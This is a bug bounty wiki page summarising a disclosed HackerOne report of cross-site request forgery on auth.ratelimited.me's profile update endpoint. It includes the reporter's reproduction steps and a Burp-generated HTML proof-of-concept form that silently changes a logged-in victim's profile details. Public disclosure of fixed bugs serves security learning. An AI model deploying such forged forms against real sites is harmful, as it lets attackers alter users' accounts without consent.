Cross Site Request Forgery in auth in https://auth.ratelimited.me/
The profile update endpoint accepted a cross-site POST request that changed the victim's account details, and the reporter's proof-of-concept form succeeded in altering them. An attacker could make a logged-in victim's profile fields change without their consent.
Originally disclosed on HackerOne
- Fixed in 4 days
- Disclosed after 14 months
Hi there i found a vulnerable post that an attacker can execute csrf into the victim. Steps to reproduce:
1º login into your account and with burp on intercept the request off update profile. csrf1.jpg
2º Send the post request to the generator csrf poc and alter the details.
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://auth.ratelimited.me/profile/details/update" method="POST"> <input type="hidden" name="_method" value="PUT" /> <input type="hidden" name="_token" value="gTAHVqBk8TI4QlPBHku3gec3Aly0oD2vITwuEvot" /> <input type="hidden" name="first_name" value="teste csrf" /> <input type="hidden" name="last_name" value="teste csrf" /> <input type="hidden" name="birthday" value="2008-12-28" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="address" value="teste csrf" /> <input type="hidden" name="country_id" value="0" /> <input type="submit" value="Submit request" /> </form> </body> </html>3º save the html and execute into the browser the html and you will see the details off the victim changing. teste.html
Impact
attacker can manipulate victim information. CSRF token should be implemented and in case off implementation it should be random
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the profile update endpoint did not enforce a random, per-session anti-CSRF token, so a form on another site could submit the change.
What the attacker needed
Victim is logged in; victim visits attacker page
How it was found
- Log in and intercept the profile update request with a proxy.
- Send the request to the CSRF proof-of-concept generator and alter the details.
- Save the generated HTML page and open it in a browser to see the victim's details change.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A CSRF attack tricks a logged-in user's browser into sending a request to a site they are already signed in to, without the user meaning to. Here the profile update form could be submitted from another page, so the victim's details got changed. The reporter says a random anti-CSRF token should be required.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.